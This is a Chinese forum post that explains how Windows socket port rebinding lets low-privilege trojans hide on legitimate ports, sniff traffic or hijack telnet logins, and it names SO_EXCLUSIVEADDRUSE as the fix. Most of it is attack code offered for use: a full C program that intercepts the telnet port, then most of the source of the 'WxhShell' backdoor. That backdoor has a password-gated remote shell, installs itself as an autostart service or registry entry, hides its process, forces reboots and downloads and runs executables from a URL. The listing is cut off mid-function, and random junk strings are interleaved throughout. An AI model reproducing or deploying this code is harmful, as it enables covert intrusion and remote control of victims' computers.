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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !o A,^4(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x5/O.5>f  
'yG9Rt  
  saddr.sin_family = AF_INET; 5"1kfB3v  
(dl7+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a!ao{8#  
x O`#a=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ik_u34U  
P~Cx#`#(V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q)}_S@v|%  
Qp9)Rc5  
  这意味着什么?意味着可以进行如下的攻击: -z"=d<@  
f>d aK9$(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XI#1)  
O=c^Ak   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vvEr}G  
,U9gg-.Lp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hk)IV"[R  
|FK ##8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |> mx*G  
=?Y%w%2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 </,RS5ukn  
cfn\De%.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^ ,`;x  
o5(`7XV6D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pJ*x[y  
0"q^`@sZ  
  #include JVO,@~~  
  #include a#i;*J  
  #include *m_B#~4  
  #include    1t"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |L XYF$  
  int main() N;4tvWI  
  { ZMs$C3  
  WORD wVersionRequested; ,dhSc<:LT  
  DWORD ret; )%e`SGmp  
  WSADATA wsaData; FGzMbi<l#(  
  BOOL val; CF|c4oY82  
  SOCKADDR_IN saddr; QH:PClW![  
  SOCKADDR_IN scaddr; -*;-T9  
  int err; rdK=f<I]  
  SOCKET s; VFUuG3p)  
  SOCKET sc; ~y@,d  
  int caddsize;  WW5AD$P*  
  HANDLE mt; SyHS9>  
  DWORD tid;   e C\;n  
  wVersionRequested = MAKEWORD( 2, 2 ); f=0U&~  
  err = WSAStartup( wVersionRequested, &wsaData ); Eg&oAY.U  
  if ( err != 0 ) { p$r=jF&  
  printf("error!WSAStartup failed!\n"); /b3b0VfF  
  return -1; nW1Obu8x|  
  } k+8K[ ?K-  
  saddr.sin_family = AF_INET; GabY xYK  
   !/pE6)a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JO*}\Es  
v6r,2Va/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -rC_8.u :  
  saddr.sin_port = htons(23); {FV_APL9_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ruMS5OqM  
  { u=epnz:<  
  printf("error!socket failed!\n"); !JZ)6mtlr  
  return -1; (of=hzT^?  
  } N7/eF9  
  val = TRUE; l/|bU9o /u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1Yj^N" =  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;MD6iBD  
  { {(o$? =  
  printf("error!setsockopt failed!\n"); x8L$T (^  
  return -1; ][Ne;F6  
  } OMaG*fb=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .Y;ljQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N@Ie VF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q>`|{m  
UZsn14xSA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]xO`c  
  { dEz7 @T  
  ret=GetLastError(); &~ =q1?  
  printf("error!bind failed!\n"); ~N2<-~=si  
  return -1; 37:\X5)z/  
  } 'q+CL&D  
  listen(s,2); zqd_^  
  while(1) PjL"7^Q&  
  { 3v oas  
  caddsize = sizeof(scaddr); *{}Y :  
  //接受连接请求 f@:.bp8VB8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); . 4$SNzv3V  
  if(sc!=INVALID_SOCKET) v.wHj@  
  { MiB"CcU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "qb1jv#to  
  if(mt==NULL) 3zV{cm0  
  { *|Cmm>z"7  
  printf("Thread Creat Failed!\n"); -b?yzg, 8  
  break; +YS0yTWeX  
  } <,r(^Ntz  
  } ~,199K#'  
  CloseHandle(mt); <{ Z$!]i1  
  } qXI>x6?*  
  closesocket(s); Vn4y^_H  
  WSACleanup(); ]{mz %\  
  return 0; Hchh2  
  }   ^o`;C\  
  DWORD WINAPI ClientThread(LPVOID lpParam) I-=H;6w7  
  { "YUh4uZ~P  
  SOCKET ss = (SOCKET)lpParam; . fZ*N/  
  SOCKET sc; =3~u.iq$  
  unsigned char buf[4096]; #!a}ZhIt  
  SOCKADDR_IN saddr; 3_AVJv ;N  
  long num; +:JyXF u  
  DWORD val; h[%t7qo=  
  DWORD ret; ]KsL(4PY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :$=r^LSH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z?9vbx  
  saddr.sin_family = AF_INET; D #<)q)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m[k@\xS4e  
  saddr.sin_port = htons(23); _A[k&nO!&J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q4'Vb  
  { Wmm'j&hI  
  printf("error!socket failed!\n"); 3k5C;5  
  return -1; 4P1<Zi+<  
  } ?b}d"QsmU  
  val = 100; WyO7,Qr\   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !!jitFHzb  
  { "`QI2{!l  
  ret = GetLastError(); Wr3).m52}P  
  return -1; )QeXA )  
  } y;M}I8W[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) > 4c7r~\k  
  { 7Nw} }  
  ret = GetLastError(); YPq4VX,  
  return -1; 9KqN .  
  } BCrX>Pp }r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F4Jc7k2  
  { ]Wn^m+  
  printf("error!socket connect failed!\n"); Py&DnG'H  
  closesocket(sc); N+l 0XjZD9  
  closesocket(ss); 9:JFG{M  
  return -1; +Wr"c  
  } UUE:>[,  
  while(1) I04GQql  
  { X=sC8Edx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (wMiX i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =V)88@W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `{1&*4!  
  num = recv(ss,buf,4096,0); aJQx"6 c?  
  if(num>0) ?0ezr[`.  
  send(sc,buf,num,0); H(MCY3t  
  else if(num==0) ucVWvXCr  
  break; m'L7K K-Y)  
  num = recv(sc,buf,4096,0); xK8n~.T('  
  if(num>0) PYOU=R%o`8  
  send(ss,buf,num,0); *{ =5AW}o  
  else if(num==0) 0n'~wz"wB  
  break; TA x9<'  
  } y([""z3<w  
  closesocket(ss); 3!+N} [$iy  
  closesocket(sc); u:6PAVW?  
  return 0 ; $& 0hpg  
  } 13:yaRo  
)ZyEn%  
+IRr&J*P  
========================================================== =LFrV9  
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下边附上一个代码,,WXhSHELL [(hB%x_"  
P 57{  
========================================================== `|[" {j}^  
Ca&p;K9FR  
#include "stdafx.h" VcLB0T7m\  
j-?zB .jAh  
#include <stdio.h> |Lq -vs?  
#include <string.h> @,Re<%\  
#include <windows.h> |L@9qwF  
#include <winsock2.h> v(ATbY75  
#include <winsvc.h> j:JM v  
#include <urlmon.h> yf KJpy  
2u(v hJ F5  
#pragma comment (lib, "Ws2_32.lib") @V9qbr= Z  
#pragma comment (lib, "urlmon.lib") Ab"mX0n  
=:|fN3nJ2  
#define MAX_USER   100 // 最大客户端连接数 1z4s1 Y  
#define BUF_SOCK   200 // sock buffer O_f+#K)  
#define KEY_BUFF   255 // 输入 buffer !Q`vOVSUD  
:3FJe  
#define REBOOT     0   // 重启 f;Iaf#V_  
#define SHUTDOWN   1   // 关机 R)%1GG4  
YivWvV  
#define DEF_PORT   5000 // 监听端口 w""5T|  
LX i?FQnLu  
#define REG_LEN     16   // 注册表键长度 /(aKhUjhb  
#define SVC_LEN     80   // NT服务名长度 ;[)t*yAh  
NXwlRMbo  
// 从dll定义API :s Mc}k?9S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); % d%KH9u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W w{|:>j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oy @vh>RY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fu K(SP3  
m4U7{sE  
// wxhshell配置信息 dIOj]5H3F  
struct WSCFG { 80/6-_g(  
  int ws_port;         // 监听端口 5`ma#_zk|f  
  char ws_passstr[REG_LEN]; // 口令 QQd%V#M?  
  int ws_autoins;       // 安装标记, 1=yes 0=no [n53 eC  
  char ws_regname[REG_LEN]; // 注册表键名 GM5s~,  
  char ws_svcname[REG_LEN]; // 服务名 L @b8,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jh3LD6|s}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `=]I -5#.W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &"90pBGK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C ?^si  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gFsnL*L0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '' @upZBJ  
dM A"% R  
}; nUAs:Q  
]t69a4&,#9  
// default Wxhshell configuration >3S^9{d  
struct WSCFG wscfg={DEF_PORT, Iw ? M>'l  
    "xuhuanlingzhe", -PHVM=:  
    1, #>SvYP  
    "Wxhshell", u}Q@u!~e9  
    "Wxhshell", y6[^I'kz  
            "WxhShell Service", > 5i(U_`l  
    "Wrsky Windows CmdShell Service", =w~phn  
    "Please Input Your Password: ", zuWfR&U|W  
  1, [WOLUb  
  "http://www.wrsky.com/wxhshell.exe", E57J).x-BP  
  "Wxhshell.exe" KUC (n!  
    }; hL\gI(B  
QfI)+pf  
// 消息定义模块 9s5PJj"u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &{s`=IeN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0n <t/74  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %8?s3^ o  
char *msg_ws_ext="\n\rExit."; # j_<iy  
char *msg_ws_end="\n\rQuit."; /Z:\=0`  
char *msg_ws_boot="\n\rReboot..."; xDf<@  
char *msg_ws_poff="\n\rShutdown..."; UMg*Yv%  
char *msg_ws_down="\n\rSave to "; Pkr0| bs*  
^ fo2sN"   
char *msg_ws_err="\n\rErr!"; =6mnXpM.  
char *msg_ws_ok="\n\rOK!"; >*TFM[((Y)  
T)IH4UO  
char ExeFile[MAX_PATH]; 7Y:~'&U|  
int nUser = 0; (6C%w)8'  
HANDLE handles[MAX_USER]; X-F|&yE~<  
int OsIsNt; z0;+.E!  
a0Y/,S*K  
SERVICE_STATUS       serviceStatus; a@&^t(1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rYnjQr2a  
K-$gTV  
// 函数声明 ^]He]FW':G  
int Install(void); %ZF6%m0S  
int Uninstall(void); c}nXMA^^  
int DownloadFile(char *sURL, SOCKET wsh); d7xd"  
int Boot(int flag); 83*"58  
void HideProc(void); mdu5aL  
int GetOsVer(void); Kt,ENbF  
int Wxhshell(SOCKET wsl); Qrt[MJ+#  
void TalkWithClient(void *cs); zwAkXj  
int CmdShell(SOCKET sock); VP4W~;UV|\  
int StartFromService(void); zOR  
int StartWxhshell(LPSTR lpCmdLine); r)jj]$0  
Y4PB&pZ$O2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gxpGi@5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L#'B-G4&y  
q]%c 6{w  
// 数据结构和表定义 ';buS -|6  
SERVICE_TABLE_ENTRY DispatchTable[] = lGa'Y  
{ mlgw0   
{wscfg.ws_svcname, NTServiceMain}, . bh>_ W_h  
{NULL, NULL} 6x*u S~'  
}; sjLI^#a  
:@6,|2b e=  
// 自我安装 4Fr0/="H  
int Install(void) neGCMKtzlJ  
{ $I%75IZ  
  char svExeFile[MAX_PATH]; u$c)B<.UR  
  HKEY key; t:m2[U_}  
  strcpy(svExeFile,ExeFile); gB!K{ Io'  
z.f~wAT@<  
// 如果是win9x系统,修改注册表设为自启动 8=^o2&  
if(!OsIsNt) { ?`Oh]2n)6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !BHIp7p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vb{+yEa  
  RegCloseKey(key); M2ig iR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SSANt?\Z<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gk+$CyjJ  
  RegCloseKey(key); fDmGgD?  
  return 0; 4  |$|]E  
    } n237%LH[  
  } N 3)OH6w"  
} pPcn F`A  
else { h(hb?f@1:  
p<*\f  
// 如果是NT以上系统,安装为系统服务 `jR;RczC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :U`8s#  
if (schSCManager!=0) QE7 r{  
{ G`NH ~C  
  SC_HANDLE schService = CreateService s1XW}Dw  
  ( X*Mw0;+T  
  schSCManager, 8H_3.MK  
  wscfg.ws_svcname, ruM16*S{=  
  wscfg.ws_svcdisp, ;8UHnhk_O  
  SERVICE_ALL_ACCESS, {5U;9: sO6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CUOxx,V  
  SERVICE_AUTO_START, K;2tY+I  
  SERVICE_ERROR_NORMAL, O$B]#]L+  
  svExeFile, O?omL5  
  NULL, G0Wzx)3]  
  NULL, NfcQB;0  
  NULL, { #CyO b4  
  NULL, K,YKU? z6  
  NULL .}.5|z} A  
  ); {\G4YQ  
  if (schService!=0) 9viQ<}K<  
  { *B(na+  
  CloseServiceHandle(schService); %p?u ^rq  
  CloseServiceHandle(schSCManager); V)\|I8"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @9| sNS  
  strcat(svExeFile,wscfg.ws_svcname); 28M! G~|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GeN8_i[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j r6)K;:.  
  RegCloseKey(key); j'i-XIs  
  return 0; K"1xtpy  
    } %&9tn0B  
  } HUurDgRi]  
  CloseServiceHandle(schSCManager); ni gp83:  
} :Vq gmn  
} 9I/o;Js  
}' `2C$  
return 1; [Dp6q~RM  
} 8%Zl;;W  
aX6.XHWbDf  
// 自我卸载 _T^ip.o  
int Uninstall(void) ^1U2&S  
{ dI&2dcumS  
  HKEY key; 0q"&AxNsP  
G8"L #[~  
if(!OsIsNt) { ymybj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C^RO@kM  
  RegDeleteValue(key,wscfg.ws_regname); o<locZ  
  RegCloseKey(key); 4O[T:9mn0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RLr;]j8cm  
  RegDeleteValue(key,wscfg.ws_regname); \}t(g}7T  
  RegCloseKey(key); cYdk,N  
  return 0; r: n^U#  
  } %"@KuqV  
} ciI;U/V  
} z (rQ6  
else { =kohQ d.n  
+2`RvQN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Mi.xay%  
if (schSCManager!=0) t#oJr2  
{ swuW6p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YVZm^@ZVV  
  if (schService!=0) GEy^*, d  
  { {PGNPxUbe  
  if(DeleteService(schService)!=0) { % w 6fB  
  CloseServiceHandle(schService); dNG>:p  
  CloseServiceHandle(schSCManager); #)_4$<P*'  
  return 0; IX;u+B  
  } -gH1`*YL  
  CloseServiceHandle(schService); WcAX/<Y>  
  } <oTIzj7f  
  CloseServiceHandle(schSCManager); o6  
} $d?<(n  
} I :%(nKBK  
c3]ZU^  
return 1; SfQ ,uD6  
} ?n>h/[/  
&H;0N"Fn  
// 从指定url下载文件 pUZe.S>G  
int DownloadFile(char *sURL, SOCKET wsh) rC}r99Pe:x  
{ Xm*gH, '  
  HRESULT hr; %O>ehIerD  
char seps[]= "/"; eiI}:5~ /g  
char *token; 3,e^; {w  
char *file; #rqLuqw  
char myURL[MAX_PATH]; LHKawEZ  
char myFILE[MAX_PATH]; QRhR.:M\  
M?x/C2|  
strcpy(myURL,sURL); "zL<:TQ"  
  token=strtok(myURL,seps); ?8fa/e  
  while(token!=NULL) ` *x;&.&v  
  { 0Pu$1Fp  
    file=token; q5YgKz?IC  
  token=strtok(NULL,seps); O8TAc]B  
  } xR q|W4ay  
>7B6iR6N  
GetCurrentDirectory(MAX_PATH,myFILE); EKhwrBjS  
strcat(myFILE, "\\"); kJq8"Klg  
strcat(myFILE, file); ?kX$Y{M}  
  send(wsh,myFILE,strlen(myFILE),0); Q3u P7j  
send(wsh,"...",3,0); 4!,x3H'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ihBlP\C  
  if(hr==S_OK) IM|VGT0  
return 0; w4<1*u@${  
else b;`gxXeL  
return 1; u.x>::i&  
oOUL<ihe?  
} $(K[W}  
*=mtt^yZ  
// 系统电源模块 <Qu]m.z[  
int Boot(int flag) vdAaqM6D  
{ 9'faH  
  HANDLE hToken; yt}Ve6  m  
  TOKEN_PRIVILEGES tkp; py VTA1  
>VM@9Cph  
  if(OsIsNt) { /]=Ih  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W2P(!q>r]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r) ;U zd  
    tkp.PrivilegeCount = 1; :{bvCos<)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C;];4[XR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c+,F)i^`  
if(flag==REBOOT) { b^_#f:_j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A-Be}A  
  return 0; n*{aN}auJ  
} #kjN!S*=  
else { WcqQR))n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {z> fe }  
  return 0; +XCLdf}dC  
} m1H_kJ  
  } P|HxD0c^u  
  else { ?~c=Sa-  
if(flag==REBOOT) { k/o"E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I ,8   
  return 0; 4v9jGwnzt  
} /5 yjON{  
else { IA I!a1e!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :@#9P,"  
  return 0; 9"hH2jc  
} Q46^i7=  
} CAg~K[  
Ey96XJV  
return 1; j}O~6A>|  
} MIma:N_c  
`Cq&;-u  
// win9x进程隐藏模块 EZnXS"z  
void HideProc(void) =f0qih5.4  
{ z,dh?%H>X  
)tYu3*'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 55Z)*JMv  
  if ( hKernel != NULL ) S v3O${B|  
  { &iKy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c IK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j'r"_*%  
    FreeLibrary(hKernel); 8'XAZSd(  
  } &?X0;,5)  
>}<1  
return; q[?xf3  
} )1?#q[x  
C\ 2rSyo  
// 获取操作系统版本 fghw\\]3  
int GetOsVer(void) 0 PEg `Wq  
{ xs#g  
  OSVERSIONINFO winfo; -YvnX0j+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PgOOFRwP  
  GetVersionEx(&winfo); {BV0Y.O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,GO H8h  
  return 1; :Kq]b@ X  
  else RZMR2fP%  
  return 0; zm>^!j !  
} 4# +i\H`  
o6bT.{8\  
// 客户端句柄模块 EKu%I~eM  
int Wxhshell(SOCKET wsl) 7:/gO~g I  
{ |k.%e4  
  SOCKET wsh; CcCcuxtR  
  struct sockaddr_in client; Ymvd3>_  
  DWORD myID; #hMS?F|  
f4'WT  
  while(nUser<MAX_USER) N!~O~ Eo3  
{ 2WO5Af%  
  int nSize=sizeof(client); Nyx)&T&I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6W\G i>  
  if(wsh==INVALID_SOCKET) return 1; #jj+/>ZOi  
x-nO; L-2p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &&PXWR!%]  
if(handles[nUser]==0) jw5ldC>U  
  closesocket(wsh); XoNBq9Iu  
else n2A ; `=  
  nUser++; xeNj@\jdC5  
  } <%4M\n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;_X2E~i[  
`!(I Q&  
  return 0; 3xIelTf*  
} %6.WGuO  
?lca#@f(  
// 关闭 socket {gz-w|7  
void CloseIt(SOCKET wsh) 6?(yMSKa  
{ +)xjw9b  
closesocket(wsh); kqkTz_r|H  
nUser--; MxgJ+  
ExitThread(0); (S~kNbIa  
} ;\g0* b(  
C4aAPkcp2$  
// 客户端请求句柄 =u-q#<h4 ;  
void TalkWithClient(void *cs) h6b(FTC^  
{ g@2KnzD  
.H@b zm  
  SOCKET wsh=(SOCKET)cs; +)hxYLk&I  
  char pwd[SVC_LEN]; 0%<OwA2d  
  char cmd[KEY_BUFF]; ({3Ap{Q}  
char chr[1]; nIr:a|}[  
int i,j; KCIya[$*  
Xf#+^cQ  
  while (nUser < MAX_USER) { =PF2p'.o  
mBeP" GS  
if(wscfg.ws_passstr) { W) Ct*I^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vk> &  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O9P+S|hcY  
  //ZeroMemory(pwd,KEY_BUFF); /\{emE\]  
      i=0; @O`T|7v  
  while(i<SVC_LEN) { n)0M1o#  
ff;~k?L  
  // 设置超时  + \]-"  
  fd_set FdRead; '}^qz#w   
  struct timeval TimeOut; a&2UDl%K  
  FD_ZERO(&FdRead); Aydpr_lp  
  FD_SET(wsh,&FdRead); &]h`kvtBC  
  TimeOut.tv_sec=8; TSD7R  
  TimeOut.tv_usec=0; Xs{PAS0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jlA6~n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -=cm7/X  
ur.krsU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r+d+gO.  
  pwd=chr[0]; *c\XQy  
  if(chr[0]==0xd || chr[0]==0xa) { OxPl0-]t  
  pwd=0; 2!6E~<~HC  
  break; UZdGV?o ?  
  } 4fIjVx  
  i++; OwT_W)$  
    } NLra"Z  
q_6fr$-Qh  
  // 如果是非法用户,关闭 socket TQu.jC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gnGh )  
} X}xf_3N "  
5E]iv^q%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h% KEg667  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *u-$$@|y  
zYP6m3 n  
while(1) { c`/VYgcTqB  
R7"7 Rx   
  ZeroMemory(cmd,KEY_BUFF); Y0Tad?iC  
BT&R:_:  
      // 自动支持客户端 telnet标准   -wrVEH8  
  j=0; 5S8>y7knQ  
  while(j<KEY_BUFF) { Ph%{h"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wAw1K2d  
  cmd[j]=chr[0]; RcO"k3J  
  if(chr[0]==0xa || chr[0]==0xd) { &XV9_{Hm  
  cmd[j]=0; /* qx5$~  
  break; B~E">}=!  
  } nw\C+1F  
  j++;  B$6KI  
    } 0zA;%oP  
eAo+w*D(  
  // 下载文件 SswcO9JCX3  
  if(strstr(cmd,"http://")) { ;<q 2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 78{9@\e"0  
  if(DownloadFile(cmd,wsh)) ii_kgqT^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QmtZG.$  
  else "{r8'qn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\oTuW*B  
  } (~eS$8>.  
  else { zBl L98  
> SLQW  
    switch(cmd[0]) { :o' |%JE  
  E a&NJ]& g  
  // 帮助 } A+ncabm  
  case '?': { %VFoK-a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YHO}z}f[!  
    break; rH!sImz,  
  } QmjE\TcK/  
  // 安装 {?`7D:]`^  
  case 'i': { MOK}:^bSu  
    if(Install()) L /:^;j`c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "D8WdV(  
    else \H bZ~I-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EYn?YiVFU  
    break; >t)Pcf|s  
    } r}&&e BY f  
  // 卸载 I]` RvT  
  case 'r': { QK?V^E  
    if(Uninstall()) iphC\*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3c<c S^l  
    else LT<2 n.S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { PX&#,_  
    break; <zR{'7L/  
    } VS/M@y_./  
  // 显示 wxhshell 所在路径 &n;*'M  
  case 'p': { -'g> i  
    char svExeFile[MAX_PATH]; dkz% Y]  
    strcpy(svExeFile,"\n\r"); `v!. ,Yr  
      strcat(svExeFile,ExeFile); +Ps.HW#NY  
        send(wsh,svExeFile,strlen(svExeFile),0); Sc]K-]1(H  
    break; 3s/1\m%  
    } ",3v%$ >  
  // 重启 ?/OF=C#  
  case 'b': { _]OY[&R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }ofb]_C,  
    if(Boot(REBOOT)) )][U6e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mA{?E9W  
    else { La )M  
    closesocket(wsh);  Rpgg :  
    ExitThread(0); U@NCN2 I  
    } c 9f"5~  
    break; ]B,tCBt  
    } h40;Q<D  
  // 关机 Cu8mNB{H  
  case 'd': { +#MXeUX"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gMI%!Y  
    if(Boot(SHUTDOWN)) #zTy7ZS,0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;:D-}t;  
    else { Q"dq_8\`U  
